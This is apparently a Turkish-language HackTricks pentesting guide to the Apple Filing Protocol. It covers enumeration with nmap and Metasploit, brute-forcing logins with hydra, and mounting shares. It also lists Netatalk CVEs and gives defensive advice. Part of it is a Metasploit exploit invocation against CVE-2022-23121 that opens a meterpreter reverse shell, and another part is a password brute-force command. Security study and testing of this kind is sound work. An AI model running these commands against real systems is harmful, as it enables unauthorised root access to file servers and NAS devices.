548 - Pentesting Apple Filing Protocol (AFP)

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Apple Filing Protocol (AFP), bir zamanlar AppleTalk Filing Protocol olarak bilinen, Apple File Service (AFS) içinde yer alan özel bir ağ protokolüdür. macOS ve klasik Mac OS için dosya hizmetleri sağlamak üzere tasarlanmıştır. AFP, Unicode dosya adlarını, POSIX tarzı ve ACL izinlerini, kaynak fork'larını, adlandırılmış genişletilmiş öznitelikleri ve karmaşık dosya kilitleme mekanizmalarını desteklemesiyle öne çıkar.

Modern macOS sürümlerinde AFP, SMB tarafından geçersiz kılınmış olsa da (SMB, OS X 10.9'dan beri varsayılan), hala aşağıdaki durumlarda karşılaşılmaktadır:

  • Eski macOS / Mac OS 9 ortamları
  • Açık kaynak Netatalk daemon'unu barındıran NAS cihazları (QNAP, Synology, Western Digital, TrueNAS…)
  • Time-Machine-over-AFP'nin hala etkin olduğu karışık işletim sistemi ağları

Varsayılan TCP Portu: 548 (AFP over TCP / DSI)

bash
PORT     STATE SERVICE
548/tcp  open  afp

Enumeration

Hızlı afiş / sunucu bilgisi

bash
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Faydalı AFP NSE betikleri:

BetikNe yapar
afp-lsMevcut AFP hacimlerini ve dosyalarını listele
afp-bruteAFP girişi için şifre brute-force yap
afp-serverinfoSunucu adını, makine türünü, AFP sürümünü, desteklenen UAM'leri vb. dökümle
afp-showmountPaylaşımları ve bunların ACL'lerini listele
afp-path-vulnDizin geçişini tespit eder (ve istismar edebilir), CVE-2010-0533

NSE brute-force betiği, daha fazla kontrol gerektiğinde Hydra/Medusa ile birleştirilebilir:

bash
hydra -L users.txt -P passwords.txt afp://<IP>

Paylaşımlarla Etkileşim

macOS

bash
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (kullanarak afpfs-ng ‑ çoğu dağıtımda paketlenmiştir)

bash
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Bir kez monte edildikten sonra, klasik Mac kaynak-kollarının gizli ._* AppleDouble dosyaları olarak saklandığını unutmayın – bunlar genellikle DFIR araçlarının gözden kaçırdığı ilginç meta veriler içerir.


Yaygın Güvenlik Açıkları ve Sömürü

Netatalk kimlik doğrulamasız RCE zinciri (2022)

Birçok NAS satıcısı Netatalk ≤3.1.12 gönderdi. parse_entries() içindeki sınır kontrolü eksikliği, bir saldırganın kötü niyetli bir AppleDouble başlığı oluşturmasına ve kimlik doğrulamasından önce uzaktan kök erişimi elde etmesine olanak tanır (CVSS 9.8 – CVE-2022-23121). Western-Digital PR4100'ü sömüren PoC ile NCC Group tarafından tam bir yazı mevcuttur.

Metasploit (>= 6.3), yükü DSI WRITE aracılığıyla ileten exploit/linux/netatalk/parse_entries modülünü içerir.

bash
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

Eğer hedef etkilenen bir QNAP/Synology firmware'ı çalıştırıyorsa, başarılı bir istismar root olarak bir shell sağlar.

Netatalk OpenSession heap overflow (2018)

Eski Netatalk (3.0.0 - 3.1.11), DSI OpenSession işleyicisinde bir sınır dışı yazma açığına sahiptir ve bu, kimlik doğrulaması yapılmamış kod yürütülmesine izin verir (CVE-2018-1160). Detaylı bir analiz ve PoC Tenable Research tarafından yayımlandı.

Diğer dikkate değer sorunlar

  • CVE-2022-22995 – AppleDouble v2 etkinleştirildiğinde (3.1.0 - 3.1.17) keyfi dosya yazma / RCE'ye yol açan symlink yönlendirmesi.
  • CVE-2010-0533 – Apple Mac OS X 10.6 AFP'de dizin geçişi ( afp-path-vuln.nse tarafından tespit edildi).
  • Netatalk 4.x (2024)'te birden fazla bellek güvenliği hatası düzeltildi – bireysel CVE'leri yamanmak yerine yükseltme önerilir.

Savunma Önerileri

  1. AFP'yi devre dışı bırakın aksi takdirde kesinlikle gerekli değilse – bunun yerine SMB3 veya NFS kullanın.
  2. Eğer AFP kalması gerekiyorsa, Netatalk'ı ≥ 3.1.18 veya 4.x sürümüne yükseltin veya 2022/2023/2024 yamalarını geri taşıyan satıcı firmware'ını uygulayın.
  3. Güçlü UAM'leri (örneğin DHX2) zorunlu kılın, açık metin ve misafir girişlerini devre dışı bırakın.
  4. TCP 548'i güvenilir alt ağlarla sınırlayın ve AFP'yi uzaktan maruz kaldığında bir VPN içinde sarın.
  5. Düşük kaliteli / geri alınmış cihazları yakalamak için CI/CD'de periyodik olarak nmap -p 548 --script afp-* ile tarama yapın.

Brute-Force

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin